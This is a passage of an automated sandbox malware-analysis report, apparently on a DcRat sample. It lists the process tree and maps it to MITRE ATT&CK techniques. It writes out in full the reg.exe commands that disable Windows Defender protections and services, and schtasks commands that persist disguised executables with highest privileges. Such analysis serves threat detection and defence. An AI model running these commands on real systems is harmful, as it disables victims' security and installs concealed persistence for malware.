      4⤵
      System Location Discovery: System Language Discovery
      PID:3820
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4472
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2456
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4556
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4464
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4816
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
      4⤵
      PID:1536
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
      4⤵
      System Location Discovery: System Language Discovery
      PID:1152
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
      4⤵
      System Location Discovery: System Language Discovery
      PID:960
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
      4⤵
      System Location Discovery: System Language Discovery
      PID:4836
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
      4⤵
      System Location Discovery: System Language Discovery
      PID:4388
  - - C:\Windows\SysWOW64\reg.exe
      reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1892
  - - C:\Windows\SysWOW64\reg.exe
      reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:548
  - - C:\Windows\SysWOW64\reg.exe
      reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4768
  - - C:\Windows\SysWOW64\reg.exe
      reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4260
  - - C:\Windows\SysWOW64\reg.exe
      reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4536
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
      4⤵
      Modifies Security services
      System Location Discovery: System Language Discovery
      PID:4664
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
      4⤵
      Modifies Security services
      System Location Discovery: System Language Discovery
      PID:1820
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
      4⤵
      Modifies Security services
      System Location Discovery: System Language Discovery
      PID:748
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
      4⤵
      Modifies Security services
      System Location Discovery: System Language Discovery
      PID:3608
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
      4⤵
      Modifies security service
      System Location Discovery: System Language Discovery
      PID:1752
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\windows defender.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3256
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    PID:4536
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:812
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
    3⤵
    PID:748
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2608
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:3300
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:4244
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:1092
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:3392
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:3768
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4000
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4820
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    PID:4892
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4296
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:2124
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:772
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1456
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4108
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3780
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1300
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4216
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2068
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4612
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4392
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2564
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2244
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    PID:3520
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    - System Location Discovery: System Language Discovery
    PID:4520
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    - System Location Discovery: System Language Discovery
    PID:3252
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    - System Location Discovery: System Language Discovery
    PID:1936
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies security service
    - System Location Discovery: System Language Discovery
    PID:4364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:2068

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "portrefNetp" /sc MINUTE /mo 5 /tr "'C:\Program Files\Crashpad\portrefNet.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4288

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "portrefNet" /sc ONLOGON /tr "'C:\Program Files\Crashpad\portrefNet.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5048

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "portrefNetp" /sc MINUTE /mo 8 /tr "'C:\Program Files\Crashpad\portrefNet.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4768

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\TextInputHost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1084

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2892

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3260

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\MoUsoCoreWorker.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:748

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorker" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\MoUsoCoreWorker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3608

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\MoUsoCoreWorker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5104

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 6 /tr "'C:\blockweb\Registry.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1940

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\blockweb\Registry.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3032

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 14 /tr "'C:\blockweb\Registry.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4508

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 8 /tr "'C:\Windows\apppatch\es-ES\conhost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5072

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Windows\apppatch\es-ES\conhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4920

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 12 /tr "'C:\Windows\apppatch\es-ES\conhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1880

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\blockweb\RuntimeBroker.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3592

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\blockweb\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1872

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 10 /tr "'C:\blockweb\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1172

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2112

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1148

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4572

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 8 /tr "'C:\Program Files\Crashpad\attachments\TextInputHost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:768

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Program Files\Crashpad\attachments\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4724

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 11 /tr "'C:\Program Files\Crashpad\attachments\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3392

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 11 /tr "'C:\Windows\LiveKernelReports\SearchApp.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5012

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Windows\LiveKernelReports\SearchApp.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4384

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 8 /tr "'C:\Windows\LiveKernelReports\SearchApp.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4060

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 6 /tr "'C:\Windows\InputMethod\SHARED\spoolsv.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2296

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Windows\InputMethod\SHARED\spoolsv.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2072

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 14 /tr "'C:\Windows\InputMethod\SHARED\spoolsv.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4436

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgentW" /sc MINUTE /mo 10 /tr "'C:\blockweb\WaaSMedicAgent.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2436

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgent" /sc ONLOGON /tr "'C:\blockweb\WaaSMedicAgent.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3824

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgentW" /sc MINUTE /mo 10 /tr "'C:\blockweb\WaaSMedicAgent.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4108

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 8 /tr "'C:\blockweb\RuntimeBroker.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4396

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\blockweb\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2092

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\blockweb\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3120

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 11 /tr "'C:\Windows\Speech_OneCore\Engines\TTS\de-DE\NUSData\Registry.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2636

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Windows\Speech_OneCore\Engines\TTS\de-DE\NUSData\Registry.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5024

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 7 /tr "'C:\Windows\Speech_OneCore\Engines\TTS\de-DE\NUSData\Registry.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1016

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Photo Viewer\it-IT\dwm.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4432

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Photo Viewer\it-IT\dwm.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4420

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Photo Viewer\it-IT\dwm.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4832

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\MSBuild\Microsoft\wininit.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:756

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Program Files (x86)\MSBuild\Microsoft\wininit.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2356

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\MSBuild\Microsoft\wininit.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4112

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Schema\fontdrvhost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2032

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Schema\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4532

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Schema\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5028

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Program Files\dotnet\swidtag\conhost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3428

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files\dotnet\swidtag\conhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:960

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 12 /tr "'C:\Program Files\dotnet\swidtag\conhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:708

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 12 /tr "'C:\blockweb\WmiPrvSE.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4388

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\blockweb\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3248

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 8 /tr "'C:\blockweb\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1160

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry